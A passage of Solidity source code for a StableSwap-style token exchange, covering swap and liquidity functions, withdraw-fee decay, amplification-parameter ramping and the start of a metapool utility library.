current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) external view returns (uint256) { return _calculateCurrentWithdrawFee(self, user); } function _calculateCurrentWithdrawFee(Swap storage self, address user) internal view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add( WITHDRAW_FEE_DECAY_TIME ); if (endTime > block.timestamp) { uint256 timeLeftover = endTime.sub(block.timestamp); return self .defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(WITHDRAW_FEE_DECAY_TIME) .div(FEE_DENOMINATOR); } return 0; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param account address of the account depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = _getAPrecise(self); uint256[] memory balances = self.balances; uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256 d0 = getD(_xp(balances, multipliers), a); for (uint256 i = 0; i < balances.length; i++) { if (deposit) { balances[i] = balances[i].add(amounts[i]); } else { balances[i] = balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(balances, multipliers), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub( _calculateCurrentWithdrawFee(self, account) ) ); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param swapFee swap fee for the tokens * @param numTokens number of tokens pooled */ function _feePerToken(uint256 swapFee, uint256 numTokens) internal pure returns (uint256) { return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance); } uint256 dy; uint256 dyFee; uint256[] memory balances = self.balances; (dy, dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, balances ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); } uint256[] memory newBalances = new uint256[](pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = v.balances[i].add(amounts[i]); } // invariant after change v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256[] memory fees = new uint256[](pooledTokens.length); if (v.totalSupply != 0) { uint256 feePerToken = _feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (v.totalSupply == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens v.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Update the withdraw fee for `user`. If the user is currently * not providing liquidity in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * * @param self Swap struct to read from and write to * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) public { // If token is transferred to address 0 (or burned), don't update the fee. if (user == address(0)) { return; } if (self.defaultWithdrawFee == 0) { // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR; } else { // Otherwise, calculate appropriate discount based on last deposit amount uint256 currentFee = _calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR / // ((toMint + currentBalance) * defaultWithdrawFee) self.withdrawFeeMultiplier[user] = currentBalance .mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee)) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee)); } self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory balances = self.balances; uint256 totalSupply = lpToken.totalSupply(); uint256[] memory amounts = _calculateRemoveLiquidity( self, balances, msg.sender, amount, totalSupply ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = balances[i].sub(amounts[i]); pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount)); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < pooledTokens.length, "Token not found"); uint256 totalSupply = lpToken.totalSupply(); (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken( self, msg.sender, tokenAmount, tokenIndex, totalSupply ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); lpToken.burnFrom(msg.sender, tokenAmount); pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= v.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); uint256[] memory fees = new uint256[](pooledTokens.length); { uint256[] memory balances1 = new uint256[](pooledTokens.length); v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { balances1[i] = v.balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, msg.sender)) ); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < pooledTokens.length; i++) { pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param self Swap struct to update * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; emit NewWithdrawFee(newWithdrawFee); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./SwapUtilsV1.sol"; /** * @title AmplificationUtils library * @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct. * This library assumes the struct is fully validated. */ library AmplificationUtilsV1 { using SafeMath for uint256; event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(SwapUtilsV1.Swap storage self) external view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(SwapUtilsV1.Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(SwapUtilsV1.Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( SwapUtilsV1.Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(SwapUtilsV1.Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../MathUtils.sol"; import "../SwapUtils.sol"; /** * @title MetaSwapUtils library * @notice A library to be used within MetaSwap.sol. Contains functions responsible for custody and AMM functionalities. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT]. Then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library MetaSwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using AmplificationUtils for SwapUtils.Swap; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct MetaSwap { // Meta-Swap related parameters ISwap baseSwap; uint256 baseVirtualPrice; uint256 baseCacheLastUpdated; IERC20[] baseTokens; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; uint256 xpi; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; LPToken lpToken; uint256 totalSupply; uint256 preciseA; uint256 baseVirtualPrice; uint256[] tokenPrecisionMultipliers; uint256[] newBalances; } struct SwapUnderlyingInfo { uint256 x; uint256 dx; uint256 dy; uint256[] tokenPrecisionMultipliers; uint256[] oldBalances; IERC20[] baseTokens; IERC20 tokenFrom; uint8 metaIndexFrom; IERC20 tokenTo; uint8 metaIndexTo; uint256 baseVirtualPrice; } struct CalculateSwapUnderlyingInfo { uint256 baseVirtualPrice; ISwap baseSwap; uint8 baseLPTokenIndex; uint8 baseTokensLength; uint8 metaIndexTo; uint256 x; uint256 dy; } // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Cache expire time for the stored value of base Swap's virtual price uint256 public constant BASE_CACHE_EXPIRE_TIME = 10 minutes; uint256 public constant BASE_VIRTUAL_PRICE_PRECISION = 10**18; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return the stored value of base Swap's virtual price. If * value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly * from the base Swap contract. * @param metaSwapStorage MetaSwap struct to read from * @return base Swap's virtual price */ function _getBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal view returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { return metaSwapStorage.baseSwap.getVirtualPrice(); } return metaSwapStorage.baseVirtualPrice; } function _getBaseSwapFee(ISwap baseSwap) internal view returns (uint256 swapFee) { (, , , , swapFee, , ) = baseSwap.swapStorage(); } /** * @notice Calculate how much the user would receive when withdrawing via single token * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @return dy the amount of token user will receive */ function calculateWithdrawOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 dy) { (dy, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _getBaseVirtualPrice(metaSwapStorage), self.lpToken.totalSupply() ); } function _calculateWithdrawOneToken( SwapUtils.Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 dySwapFee; { uint256 currentY; uint256 newY; // Calculate how much to withdraw (dy, newY, currentY) = _calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, baseVirtualPrice, totalSupply ); // Calculate the associated swap fee dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); } return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @param baseVirtualPrice the virtual price of the base swap's LP token * @return the dy excluding swap fee, the new y after withdrawing one token, and current y */ function _calculateWithdrawOneTokenDY( SwapUtils.Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self, baseVirtualPrice); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo( 0, 0, 0, 0, self._getAPrecise(), 0 ); v.d0 = SwapUtils.getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = SwapUtils.getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = SwapUtils._feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { v.xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = v.xpi.sub( ( (i == tokenIndex) ? v.xpi.mul(v.d1).div(v.d0).sub(v.newY) : v.xpi.sub(v.xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( SwapUtils.getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); if (tokenIndex == xp.length.sub(1)) { dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); v.newY = v.newY.mul(BASE_VIRTUAL_PRICE_PRECISION).div( baseVirtualPrice ); xp[tokenIndex] = xp[tokenIndex] .mul(BASE_VIRTUAL_PRICE_PRECISION) .div(baseVirtualPrice); } dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. The last element will also get scaled up by * the given baseVirtualPrice. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @param baseVirtualPrice the base virtual price to scale the balance of the * base Swap's LP token. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers, uint256 baseVirtualPrice ) internal pure returns (uint256[] memory) { uint256[] memory xp = SwapUtils._xp(balances, precisionMultipliers); uint256 baseLPTokenIndex = balances.length.sub(1); xp[baseLPTokenIndex] = xp[baseLPTokenIndex].mul(baseVirtualPrice).div( BASE_VIRTUAL_PRICE_PRECISION ); return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(SwapUtils.Swap storage self, uint256 baseVirtualPrice) internal view returns (uint256[] memory) { return _xp( self.balances, self.tokenPrecisionMultipliers, baseVirtualPrice ); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @return the virtual price, scaled to precision of BASE_VIRTUAL_PRICE_PRECISION */ function getVirtualPrice( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage ) external view returns (uint256) { uint256 d = SwapUtils.getD( _xp( self.balances, self.tokenPrecisionMultipliers, _getBaseVirtualPrice(metaSwapStorage) ), self._getAPrecise() ); uint256 supply = self.lpToken.totalSupply(); if (supply != 0) { return d.mul(BASE_VIRTUAL_PRICE_PRECISION).div(supply); } return 0; } /** * @notice Externally calculates a swap between two tokens. The SwapUtils.Swap storage and * MetaSwap storage should be from the same MetaSwap contract. * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, _getBaseVirtualPrice(metaSwapStorage) ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param baseVirtualPrice the virtual price of the base LP token * @return dy the number of tokens the user will get and dyFee the associated fee */ function _calculateSwap( SwapUtils.Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 baseVirtualPrice ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self, baseVirtualPrice); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 baseLPTokenIndex = xp.length.sub(1); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]); if (tokenIndexFrom == baseLPTokenIndex) { // When swapping from a base Swap token, scale up dx by its virtual price x = x.mul(baseVirtualPrice).div(BASE_VIRTUAL_PRICE_PRECISION); } x = x.add(xp[tokenIndexFrom]); uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); if (tokenIndexTo == baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); } dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee); dy = dy.div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice Calculates the expected return amount from swapping between * the pooled tokens and the underlying tokens of the base Swap pool. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { CalculateSwapUnderlyingInfo memory v = CalculateSwapUnderlyingInfo( _getBaseVirtualPrice(metaSwapStorage), metaSwapStorage.baseSwap, 0, uint8(metaSwapStorage.baseTokens.length), 0, 0, 0 ); uint256[] memory xp = _xp(self, v.baseVirtualPrice); v.baseLPTokenIndex = uint8(xp.length.sub(1)); { uint8 maxRange = v.baseLPTokenIndex + v.baseTokensLength; require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } if (tokenIndexFrom < v.baseLPTokenIndex) { // tokenFrom is from this pool v.x = xp[tokenIndexFrom].add( dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // tokenFrom is from the base pool tokenIndexFrom = tokenIndexFrom - v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { uint256[] memory baseInputs = new uint256[](v.baseTokensLength); baseInputs[tokenIndexFrom] = dx; v.x = v .baseSwap .calculateTokenAmount(baseInputs, true) .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION); // when adding to the base pool,you pay approx 50% of the swap fee v.x = v .x .sub( v.x.mul(_getBaseSwapFee(metaSwapStorage.baseSwap)).div( FEE_DENOMINATOR.mul(2) ) ) .add(xp[v.baseLPTokenIndex]); } else { // both from and to are from the base pool return 